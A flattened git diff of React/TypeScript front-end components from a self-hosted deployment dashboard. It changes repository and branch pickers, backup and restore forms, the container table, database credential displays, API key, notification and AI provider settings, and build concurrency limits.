? (branches?.find( ? branches?.find(
(branch) => branch.name === field.value, (branch) => branch.name === field.value,
)?.name ?? field.value) )?.name
: "Select branch"} : "Select branch"}
<ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" /> <ChevronsUpDown className="ml-2 h-4 w-4 shrink-0 opacity-50" />
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -375,7 +364,7 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -199,9 +199,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<FormLabel>Gitlab Account</FormLabel> <FormLabel>Gitlab Account</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
if (!value) {
return;
}
field.onChange(value); field.onChange(value);
form.setValue("repository", { form.setValue("repository", {
owner: "", owner: "",
@@ -211,6 +208,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
}); });
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
defaultValue={field.value}
value={field.value} value={field.value}
> >
<FormControl> <FormControl>
@@ -258,7 +256,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -274,10 +272,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search repository..." placeholder="Search repository..."
@@ -315,10 +310,8 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", ""); form.setValue("branch", "");
}} }}
> >
<span className="flex min-w-0 items-center gap-2"> <span className="flex items-center gap-2">
<span className="truncate"> <span>{repo.name}</span>
{repo.name}
</span>
<span className="text-muted-foreground text-xs"> <span className="text-muted-foreground text-xs">
{repo.owner.username} {repo.owner.username}
</span> </span>
@@ -360,7 +353,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
" w-full justify-between", " w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -375,10 +368,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
</Button> </Button>
</FormControl> </FormControl>
</PopoverTrigger> </PopoverTrigger>
<PopoverContent <PopoverContent className="p-0" align="start">
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command> <Command>
<CommandInput <CommandInput
placeholder="Search branch..." placeholder="Search branch..."
@@ -406,7 +396,7 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
form.setValue("branch", branch.name); form.setValue("branch", branch.name);
}} }}
> >
<span className="truncate">{branch.name}</span> {branch.name}
<CheckIcon <CheckIcon
className={cn( className={cn(
"ml-auto h-4 w-4", "ml-auto h-4 w-4",

View File

@@ -79,7 +79,6 @@ const Schema = z
schedule: z.string().min(1, "Schedule (Cron) required"), schedule: z.string().min(1, "Schedule (Cron) required"),
prefix: z.string().min(1, "Prefix required"), prefix: z.string().min(1, "Prefix required"),
enabled: z.boolean(), enabled: z.boolean(),
includeEncryptionKey: z.boolean(),
database: z.string().min(1, "Database required"), database: z.string().min(1, "Database required"),
keepLatestCount: z.coerce.number().optional(), keepLatestCount: z.coerce.number().optional(),
serviceName: z.string().nullable(), serviceName: z.string().nullable(),
@@ -224,7 +223,6 @@ export const HandleBackup = ({
: "", : "",
destinationId: "", destinationId: "",
enabled: true, enabled: true,
includeEncryptionKey: true,
prefix: "/", prefix: "/",
schedule: "", schedule: "",
keepLatestCount: undefined, keepLatestCount: undefined,
@@ -264,7 +262,6 @@ export const HandleBackup = ({
: "", : "",
destinationId: backup?.destinationId ?? "", destinationId: backup?.destinationId ?? "",
enabled: backup?.enabled ?? true, enabled: backup?.enabled ?? true,
includeEncryptionKey: backup?.includeEncryptionKey ?? true,
prefix: backup?.prefix ?? "/", prefix: backup?.prefix ?? "/",
schedule: backup?.schedule ?? "", schedule: backup?.schedule ?? "",
keepLatestCount: backup?.keepLatestCount ?? undefined, keepLatestCount: backup?.keepLatestCount ?? undefined,
@@ -312,7 +309,6 @@ export const HandleBackup = ({
prefix: data.prefix, prefix: data.prefix,
schedule: data.schedule, schedule: data.schedule,
enabled: data.enabled, enabled: data.enabled,
includeEncryptionKey: data.includeEncryptionKey,
database: data.database, database: data.database,
keepLatestCount: data.keepLatestCount ?? null, keepLatestCount: data.keepLatestCount ?? null,
databaseType: data.databaseType || databaseType, databaseType: data.databaseType || databaseType,
@@ -413,7 +409,7 @@ export const HandleBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -669,31 +665,6 @@ export const HandleBackup = ({
</FormItem> </FormItem>
)} )}
/> />
{databaseType === "web-server" && (
<FormField
control={form.control}
name="includeEncryptionKey"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 ">
<div className="space-y-0.5">
<FormLabel>Include encryption key</FormLabel>
<FormDescription>
Stores the encryption key inside the backup so
environment variables can be restored on a new server.
Anyone with access to the backup file can decrypt
them.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
{backupType === "compose" && ( {backupType === "compose" && (
<> <>
{form.watch("databaseType") === "postgres" && ( {form.watch("databaseType") === "postgres" && (

View File

@@ -345,7 +345,7 @@ export const RestoreBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >
@@ -427,7 +427,7 @@ export const RestoreBackup = ({
<Button <Button
variant="outline" variant="outline"
className={cn( className={cn(
"w-full justify-between", "w-full justify-between bg-input!",
!field.value && "text-muted-foreground", !field.value && "text-muted-foreground",
)} )}
> >

View File

@@ -1,13 +1,10 @@
import type { ColumnDef } from "@tanstack/react-table"; import type { ColumnDef } from "@tanstack/react-table";
import copy from "copy-to-clipboard";
import { ArrowUpDown, MoreHorizontal } from "lucide-react"; import { ArrowUpDown, MoreHorizontal } from "lucide-react";
import { toast } from "sonner";
import { Badge } from "@/components/ui/badge"; import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { import {
DropdownMenu, DropdownMenu,
DropdownMenuContent, DropdownMenuContent,
DropdownMenuItem,
DropdownMenuLabel, DropdownMenuLabel,
DropdownMenuTrigger, DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu"; } from "@/components/ui/dropdown-menu";
@@ -40,7 +37,6 @@ export const columns: ColumnDef<Container>[] = [
}, },
{ {
accessorKey: "state", accessorKey: "state",
filterFn: "equals",
header: ({ column }) => { header: ({ column }) => {
return ( return (
<Button <Button
@@ -60,7 +56,7 @@ export const columns: ColumnDef<Container>[] = [
variant={ variant={
value === "running" value === "running"
? "default" ? "default"
: value === "exited" || value === "dead" : value === "failed"
? "destructive" ? "destructive"
: "secondary" : "secondary"
} }
@@ -103,28 +99,6 @@ export const columns: ColumnDef<Container>[] = [
}, },
cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>, cell: ({ row }) => <div className="lowercase">{row.getValue("image")}</div>,
}, },
{
accessorKey: "ports",
header: ({ column }) => {
return (
<Button
variant="ghost"
onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
>
Ports
<ArrowUpDown className="ml-2 h-4 w-4" />
</Button>
);
},
cell: ({ row }) => {
const value = row.getValue("ports") as string;
return (
<div className="max-w-[16rem] truncate lowercase" title={value}>
{value}
</div>
);
},
},
{ {
id: "actions", id: "actions",
enableHiding: false, enableHiding: false,
@@ -141,14 +115,6 @@ export const columns: ColumnDef<Container>[] = [
</DropdownMenuTrigger> </DropdownMenuTrigger>
<DropdownMenuContent align="end"> <DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel> <DropdownMenuLabel>Actions</DropdownMenuLabel>
<DropdownMenuItem
onClick={() => {
copy(container.containerId);
toast.success("Container ID copied to clipboard");
}}
>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs <ShowDockerModalLogs
containerId={container.containerId} containerId={container.containerId}
serverId={container.serverId} serverId={container.serverId}

View File

@@ -9,7 +9,7 @@ import {
useReactTable, useReactTable,
type VisibilityState, type VisibilityState,
} from "@tanstack/react-table"; } from "@tanstack/react-table";
import { ChevronDown, Container, RefreshCw } from "lucide-react"; import { ChevronDown, Container } from "lucide-react";
import * as React from "react"; import * as React from "react";
import { Button } from "@/components/ui/button"; import { Button } from "@/components/ui/button";
import { import {
@@ -26,13 +26,6 @@ import {
DropdownMenuTrigger, DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu"; } from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { import {
Table, Table,
TableBody, TableBody,
@@ -51,26 +44,10 @@ interface Props {
serverId?: string; serverId?: string;
} }
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => { export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending, refetch, isRefetching } = const { data, isPending } = api.docker.getContainers.useQuery({
api.docker.getContainers.useQuery(
{
serverId, serverId,
}, });
{
refetchInterval: 10_000,
},
);
const [sorting, setSorting] = React.useState<SortingState>([]); const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>( const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -129,48 +106,12 @@ export const ShowContainers = ({ serverId }: Props) => {
} }
className="md:max-w-sm" className="md:max-w-sm"
/> />
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu> <DropdownMenu>
<DropdownMenuTrigger asChild> <DropdownMenuTrigger asChild>
<Button variant="outline" className="max-sm:w-full"> <Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
Columns <ChevronDown className="ml-2 h-4 w-4" /> Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button> </Button>
</DropdownMenuTrigger> </DropdownMenuTrigger>

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Sqld Node</Label> <Label>Sqld Node</Label>
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Enable Namespaces</Label> <Label>Enable Namespaces</Label>

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -93,7 +93,6 @@ export function AddOrganization({ organizationId }: Props) {
.catch((error) => { .catch((error) => {
console.error(error); console.error(error);
toast.error( toast.error(
error?.message ??
`Failed to ${organizationId ? "update" : "create"} organization`, `Failed to ${organizationId ? "update" : "create"} organization`,
); );
}); });

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,11 +25,11 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} /> <Input disabled value={data?.databaseUser} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Database Name</Label> <Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} /> <Input disabled value={data?.databaseName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -57,7 +57,7 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">

View File

@@ -62,7 +62,7 @@ const dockerImageDefaultPlaceholder: Record<DbType, string> = {
mariadb: "mariadb:11", mariadb: "mariadb:11",
mysql: "mysql:8", mysql: "mysql:8",
postgres: "postgres:18", postgres: "postgres:18",
redis: "redis:8", redis: "redis:7",
}; };
const databasesUserDefaultPlaceholder: Record< const databasesUserDefaultPlaceholder: Record<

View File

@@ -47,7 +47,7 @@ interface Details {
envVariables: EnvVariable[]; envVariables: EnvVariable[];
shortDescription: string; shortDescription: string;
domains: Domain[]; domains: Domain[];
configFiles?: Mount[] | null; configFiles?: Mount[];
} }
interface Mount { interface Mount {

View File

@@ -290,7 +290,7 @@ export const ShowProjects = () => {
</span> </span>
</div> </div>
)} )}
<div className="w-full grid grid-cols-[repeat(auto-fill,minmax(300px,1fr))] gap-5"> <div className="w-full grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 3xl:grid-cols-5 flex-wrap gap-5">
{filteredProjects?.map((project) => { {filteredProjects?.map((project) => {
const emptyServices = project?.environments const emptyServices = project?.environments
.map( .map(

View File

@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui"; import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react"; import { useState } from "react";
import { toast } from "sonner"; import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action"; import { DialogAction } from "@/components/shared/dialog-action";

View File

@@ -25,7 +25,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8"> <div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>User</Label> <Label>User</Label>
<Input enableCopyButton disabled value="default" /> <Input disabled value="default" />
</div> </div>
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Password</Label> <Label>Password</Label>
@@ -53,7 +53,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<Label>Internal Host</Label> <Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} /> <Input disabled value={data?.appName} />
</div> </div>
<div className="flex flex-col gap-2 md:col-span-2"> <div className="flex flex-col gap-2 md:col-span-2">

View File

@@ -69,12 +69,14 @@ export const columns: ColumnDef<LogEntry>[] = [
const log = row.original; const log = row.original;
return ( return (
<div className="flex flex-col gap-2"> <div className="flex flex-col gap-2">
<div className="flex items-center flex-row flex-wrap gap-3 "> <div className="flex items-center flex-row gap-3 ">
{log.RequestMethod}{" "} {log.RequestMethod}{" "}
<div className="inline-flex items-center gap-2 bg-muted px-1.5 py-1 rounded-lg"> <div className="inline-flex items-center gap-2 bg-muted px-1.5 py-1 rounded-lg">
<span>{log.RequestAddr}</span> <span>{log.RequestAddr}</span>
</div> </div>
<span className="break-all">{log.RequestPath}</span> {log.RequestPath.length > 100
? `${log.RequestPath.slice(0, 82)}...`
: log.RequestPath}
</div> </div>
<div className="flex flex-row gap-3 w-full"> <div className="flex flex-row gap-3 w-full">
<Badge <Badge

View File

@@ -1,4 +1,11 @@
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts"; import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
XAxis,
YAxis,
} from "recharts";
import { import {
type ChartConfig, type ChartConfig,
ChartContainer, ChartContainer,
@@ -42,10 +49,13 @@ export const RequestDistributionChart = ({
); );
return ( return (
<ChartContainer <div className="w-full h-[200px] overflow-hidden">
config={chartConfig} <ResponsiveContainer
className="aspect-auto h-[200px] w-full" width="100%"
height="100%"
className="overflow-hidden"
> >
<ChartContainer config={chartConfig}>
<AreaChart <AreaChart
accessibilityLayer accessibilityLayer
data={stats || []} data={stats || []}
@@ -97,5 +107,7 @@ export const RequestDistributionChart = ({
/> />
</AreaChart> </AreaChart>
</ChartContainer> </ChartContainer>
</ResponsiveContainer>
</div>
); );
}; };

View File

@@ -32,11 +32,10 @@ import {
SelectValue, SelectValue,
} from "@/components/ui/select"; } from "@/components/ui/select";
import { Switch } from "@/components/ui/switch"; import { Switch } from "@/components/ui/switch";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
const formSchema = z.object({ const formSchema = z.object({
name: apiKeyNameSchema, name: z.string().min(1, "Name is required"),
prefix: z.string().optional(), prefix: z.string().optional(),
expiresIn: z.number().nullable(), expiresIn: z.number().nullable(),
organizationId: z.string().min(1, "Organization is required"), organizationId: z.string().min(1, "Organization is required"),
@@ -160,15 +159,8 @@ export const AddApiKey = () => {
<FormItem> <FormItem>
<FormLabel>Name</FormLabel> <FormLabel>Name</FormLabel>
<FormControl> <FormControl>
<Input <Input placeholder="My API Key" {...field} />
placeholder="My API Key"
maxLength={API_KEY_NAME_MAX_LENGTH}
{...field}
/>
</FormControl> </FormControl>
<FormDescription>
Maximum {API_KEY_NAME_MAX_LENGTH} characters
</FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>
)} )}

View File

@@ -227,9 +227,9 @@ export const HandleRegistry = ({ registryId }: Props) => {
</DialogTrigger> </DialogTrigger>
<DialogContent className="sm:max-w-2xl"> <DialogContent className="sm:max-w-2xl">
<DialogHeader> <DialogHeader>
<DialogTitle>Add an external registry</DialogTitle> <DialogTitle>Add a external registry</DialogTitle>
<DialogDescription> <DialogDescription>
Fill in the following fields to add an external registry. Fill the next fields to add a external registry.
</DialogDescription> </DialogDescription>
</DialogHeader> </DialogHeader>
{(isError || testRegistryIsError || testRegistryByIdIsError) && ( {(isError || testRegistryIsError || testRegistryByIdIsError) && (

View File

@@ -131,10 +131,7 @@ export const HandleAi = ({ aiId }: Props) => {
const apiUrl = form.watch("apiUrl"); const apiUrl = form.watch("apiUrl");
const apiKey = form.watch("apiKey"); const apiKey = form.watch("apiKey");
// Any Ollama instance on the default port 11434 is treated as no-auth const isOllama = apiUrl.includes(":11434") || apiUrl.includes("ollama");
// (covers localhost and self-hosted LAN deployments). Ollama Cloud
// (ollama.com on 443) falls through and requires an API key.
const isLocalOllama = apiUrl.includes(":11434");
const { const {
data: models, data: models,
isFetching: isLoadingServerModels, isFetching: isLoadingServerModels,
@@ -145,7 +142,7 @@ export const HandleAi = ({ aiId }: Props) => {
apiKey: apiKey ?? "", apiKey: apiKey ?? "",
}, },
{ {
enabled: !!apiUrl && (isLocalOllama || !!apiKey), enabled: !!apiUrl && (isOllama || !!apiKey),
}, },
); );
@@ -278,7 +275,7 @@ export const HandleAi = ({ aiId }: Props) => {
)} )}
/> />
{!isLocalOllama && ( {!isOllama && (
<FormField <FormField
control={form.control} control={form.control}
name="apiKey" name="apiKey"

View File

@@ -1828,7 +1828,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className=""> <div className="">
<FormLabel>App Deploy</FormLabel> <FormLabel>App Deploy</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when an app is deployed. Trigger the action when a app is deployed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1890,7 +1890,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Backup</FormLabel> <FormLabel>Dokploy Backup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when a Dokploy backup is created. Trigger the action when a dokploy backup is created.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1932,7 +1932,8 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Docker Cleanup</FormLabel> <FormLabel>Docker Cleanup</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Docker cleanup is performed. Trigger the action when the docker cleanup is
performed.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>
@@ -1954,7 +1955,7 @@ export const HandleNotifications = ({ notificationId }: Props) => {
<div className="space-y-0.5"> <div className="space-y-0.5">
<FormLabel>Dokploy Restart</FormLabel> <FormLabel>Dokploy Restart</FormLabel>
<FormDescription> <FormDescription>
Trigger the action when Dokploy is restarted. Trigger the action when dokploy is restarted.
</FormDescription> </FormDescription>
</div> </div>
<FormControl> <FormControl>

View File

@@ -4,7 +4,9 @@ import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input"; import { Input } from "@/components/ui/input";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
const MAX_CONCURRENCY = 100; // Free tier may set up to 2 concurrent builds; enterprise unlocks more.
const FREE_MAX_CONCURRENCY = 2;
const ENTERPRISE_MAX_CONCURRENCY = 100;
interface Props { interface Props {
/** /**
@@ -18,10 +20,14 @@ interface Props {
/** /**
* Control to set the number of concurrent builds, either for a remote server * Control to set the number of concurrent builds, either for a remote server
* (`serverId` provided) or the local web server (omitted). Not shown in cloud. * (`serverId` provided) or the local web server (omitted). Available to
* everyone self-hosted up to FREE_MAX_CONCURRENCY; higher values require a
* valid enterprise license. Not shown in cloud.
*/ */
export const BuildsConcurrency = ({ serverId, label }: Props) => { export const BuildsConcurrency = ({ serverId, label }: Props) => {
const { data: isCloud } = api.settings.isCloud.useQuery(); const { data: isCloud } = api.settings.isCloud.useQuery();
const { data: haveValidLicense } =
api.licenseKey.haveValidLicenseKey.useQuery();
const serverQuery = api.server.one.useQuery( const serverQuery = api.server.one.useQuery(
{ serverId: serverId ?? "" }, { serverId: serverId ?? "" },
@@ -53,7 +59,10 @@ export const BuildsConcurrency = ({ serverId, label }: Props) => {
// Concurrent builds are a self-hosted feature; not shown in cloud. // Concurrent builds are a self-hosted feature; not shown in cloud.
